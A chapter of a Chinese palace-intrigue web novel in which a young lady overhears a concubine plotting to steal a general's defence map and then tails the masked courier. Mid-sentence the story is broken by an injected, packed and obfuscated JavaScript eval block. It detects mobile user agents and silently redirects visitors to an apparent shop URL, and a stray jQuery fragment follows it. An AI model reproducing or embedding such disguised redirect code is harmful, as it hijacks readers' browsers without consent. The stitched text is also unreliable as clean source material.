57. 跟踪
作品:《她成嫡女后》 先帝忌辰,崇文轩休沐。
府中无往日喧嚣,连洒扫的仆妇都敛了声气,踩着轻步往来,檐下悬着的素色布幔被风吹得轻晃,添了几分沉郁。
汀竹晨起跟着母亲行过祭礼,就回房中歇了片刻,便让锁秋交她绣活,学了一刻后便感手头绣活滞涩,便带着锁秋起身往沁香园里透透气,刚转过抄手游廊,就瞥见周姨娘的身影。
往日里周姨娘最讲究仪态,便是私下走动,也是鬓发整齐、步履从容,今日却不同。她卸了珠钗,只簪得一支素银簪子,素色的衣裙下摆还沾了些泥点,显然走得急切,手里攥着一方折得紧实的锦帕,头也不回地往府中偏僻的后院去,连贴身伺候的梨画都没带,脚步仓促得几乎要小跑起来。
“小姐,姨娘这是去哪?看着好生着急。”锁秋瞧着周姨娘那步履匆匆的模样,忍不住对汀竹说着。
“走去看看。”
二人随着周姨娘所走的方向,悄然跟了上去。
不知不觉便走到府中后院,这后院是汀竹每次出府的必经之路,但她白天却没见过这里的全貌。
听锁秋说,这后院原是早年些府里堆放杂物的地方,院墙年久失修,只留一道窄门通向府外的僻静小巷,平日里极少有人踏足。
锁秋小声道:“奇怪,周姨娘素日爱热闹,从不来这荒僻处。”
汀竹闻言心下生疑,悄声提了提裙摆,借着墙根的老槐树与丛生的草木作遮掩,蹑手蹑脚跟了上去,脚步放得极轻,锁秋也紧跟着她的步伐。
行至离后院门数丈远的老槐树后,汀竹便停了脚,借着树身遮挡身形,抬眼望去,只见后院那道斑驳的木门虚掩着,周姨娘正立在门内,对面站着一个陌生男子,一身粗布衣裳,头戴帷帽,帽檐压得极低,看不清面容,只露出下颌一道浅疤,身形挺拔,周身透着一股紧绷的冷意。
看这身形,汀竹就知这人不是周姨娘的亲弟周朗,却也不似寻常的贩夫走卒。
“你怎敢此时来?”周姨娘的声音压得极低,却难掩急切,手中的锦帕被攥得起了皱,眼神往四周飞快扫了一圈,“今日是先帝忌辰,府中虽休沐,却处处都是眼镜,若是被人撞见,咱俩都得死!”
“说吧,主子又有什么命令?”
那男子抬了抬下巴,声音粗哑,带着几分不耐,却也刻意放轻了语调,字句冷硬:“要你一月之内拿到城中布防图。”
周姨娘往后缩了缩,指尖不自觉的绞着锦帕,语气里多了几分惶然:“一月之内?哪有这般容易,这布防图乃是将军府重中之重,老爷素来谨慎,白日里锁在书房暗格中,入夜才带至内寝,贴身保管。”
“且这些时日府中大小姐不知怎的,处处与我作对,我连近身老爷的机会都少,何况是进书房??”
男子喉间发出一声冷嗤,帽檐下的目光沉沉扫过来,下颌的浅疤随着咬牙的动作微微动了动:“少找借口!你这将军府的姨娘位置怎么来的,你心里清楚,如今主子要你取一张布防图,你便要推三阻四,莫不是想反水?”
周姨娘脸色骤白,慌忙摆手,“不敢!我绝不敢反水!只是眼下实在棘手,容我处理掉那对母女,坐上主母之位,不出三个月定能将布防图双手奉上!”
“三个月?”男子语气陡然沉了几分,周身冷意更甚,“那便给你三个月,耽搁一日便是杀祸之身,不仅你自身难保,你周家上下,怕是也活不成。”
这话如惊雷炸在周姨娘耳边,她身子晃了晃,面上血色尽褪,踉跄着扶住身旁斑驳的墙垣,半晌才咬着唇,眼底翻涌着恐惧与决绝:“我知道了......三个月内,我必定给你送来。只是你切记,往后莫要这般冒失闯来,今日侥幸无人撞见,下次再这般,便是神仙也救不了咱们!”
男子沉默片刻,粗哑的声音没半分波澜:“主子已免去周家欠皇庄的债,还望你莫要让主子失望。东西备好后,依旧在此处交接,暗号照旧。”说罢,他又警惕地往巷口扫了一眼,确认无人,才对周姨娘抬了抬下巴,示意她退去。
周姨娘攥着锦帕的手松了又紧,深深吸了口气,压下心头的慌乱,再没多言,转身快步退回院内。
她脚步依旧仓促,却刻意放轻了声响,走到那道斑驳的木门前,伸手将门轻轻合拢,门轴转动间发出一声极轻的“吱呀”,在这寂静的后院里格外清晰。
她又抬手推了推,确认门已关严,才拢了拢素色衣裙的下摆,低头匆匆往内院方向去了,裙摆上的泥点随着脚步轻晃,愈发显得狼狈。
门外的男子待院门合拢,依旧立在原地片刻,帽檐下的目光扫过院墙周遭的草木,周身紧绷的气息丝毫不减。
片刻后,他转身,脚步沉稳地拐进巷尾的阴影里,身形挺拔如松,虽着粗布衣裳,却无半分乡野气,反倒透着一股久经训练的利落,转眼便消失在小巷深处。
槐树后的锁秋早已惊得捂住了嘴,眼眶瞪得溜圆,指尖都在发抖,待那男子走远,才压低声音,带着后怕与难以置信对汀竹道:“小姐!周姨娘她……她竟私通外人,还要偷将军府的布防图!这要是被老爷知道,可是诛九族的大罪啊!”
汀竹立在树后,指尖紧紧扣着老槐树粗糙的树皮,指节泛白,方才二人的对话字字句句砸在心头,让她心头发沉。
她抬眼望着那男子消失的方向,眸色沉沉,不见半分波澜,半晌才转头对锁秋沉声吩咐:“此事事关重大,万万不可声张。你先回暖居阁,关好门窗,不许对任何人提及今日所见,我去去就回。”
锁秋虽满心惶恐,却素来听汀竹的话,忙用力点头,又担忧地看了看她:“小姐,你一个人去,可要当心些。”
“无妨。”汀竹轻轻颔首,目光再次投向那幽深的小巷,待锁秋的身影隐入草木之后,才敛了裙摆,借着墙角的阴影,悄无声息地跟了上去。
那小巷幽深,两侧皆是高宅院墙,墙头爬着枯褐的藤蔓,风卷着败叶簌簌落下来,衬得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965172|188365||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
周遭愈发静得骇人。汀竹敛着气息,足尖点地,步子迈得又轻又疾,远远缀在那男子身后数丈外,不敢靠得太近。
男子脚步极稳,步幅匀称,不似寻常赶路那般急慌,反倒带着章法,每走一段路,便会骤然停步,抬手掀开帷帽边缘,飞快扫过前后巷口,下颌的浅疤在天光下一闪而逝。方才在院门外还带几分不耐,此刻周身只剩冷硬的紧绷,粗布衣袍下的肩背绷得笔直。
汀竹看得心下凛然,忙借着巷边废弃的柴垛、断墙遮掩身形,待男子再度迈步,才悄然跟上。
巷头老槐树的浓荫深处,明霄斜倚在树干上,玄色衣袍的下摆隐在败叶丛中,几乎与阴影融为一体。
隐夜跟着殿下去了陵园,今日他无趣便来瞧瞧这宋府,却不料一来便撞见了方才后院门旁的光景,只是相隔甚远,风传声碎,没能听清几人的言语。
起初见一位妇女行色诡异,他尚只是存了几分好奇,待瞧见宋家大小姐屏气凝神尾随那陌生男子,素净的裙裾扫过巷间碎石却浑然不觉,一双平日里澄澈温润的眼眸,此刻只剩沉沉警惕。
他眼底的讶异便化作了深思,旋即敛了周身气息,足尖轻点地面,悄无声息缀在了她的身后。
明霄隔着两丈远近,目光稳稳落着汀竹的背影上。她今日因行祭礼,穿的是一身素绫裙,裙摆未绣纹样,只腰际系了条同色软带,风吹过时裙角轻扬,露出一截纤细白皙的脚踝,踩着一双素色绣鞋,踏在积叶上无声无息。
她的发间亦无珠翠,只挽了个简单的髻发,簪着一支素银簪,鬓边几缕碎发被风拂动,她却浑然未觉,所有的注意都凝在前方那道粗布身影上,连脚步的起落都循着那男子的节奏,错落有致,竟无半分闺阁女子的慌乱。
前方那陌生男子似是察觉到什么,忽然顿住脚步,猛地转头扫向身后,帽檐下的目光如鹰隼般锐利,扫过巷中柴垛、断墙,最后落在汀竹藏身的那处矮墙之后。
汀竹心头一紧,当即矮身贴紧墙面,将身形彻底隐在墙后阴影里,连呼吸都凝在了胸口。明霄见状,足尖一点,身形倏然掠至旁侧的老藤架下,借着虬结的枯藤遮掩,目光却依旧锁着那男子与汀竹的方向。
他瞧着那男子警惕地伫立片刻,似是未曾察觉异样,才又转身快步前行,脚步较之前又快了几分,肩头绷得更紧,显是急于脱身。
待那男子的身影拐过巷尾的拐角,汀竹才缓缓松了口气,扶着墙面悄然起身,拍了拍裙摆上的浮尘,又凝神听了片刻,确认无异常,才再度提步跟上,身影很快没入巷尾的暗影之中。明霄望着她纤细却坚定的背影,眉峰微蹙,下颌线条绷紧了几分。
听闻宋家大小姐性子素来软弱,今日这般孤身涉险,那粗布男子与周姨娘的密谋,定然藏着惊天秘密。
他略一思忖,不再迟疑,提步追了上去,玄色身影掠过巷间暗影,如影随形,不紧不慢地缀在汀竹身后,既不会扰她,或许还能替殿下打听到什么消息。

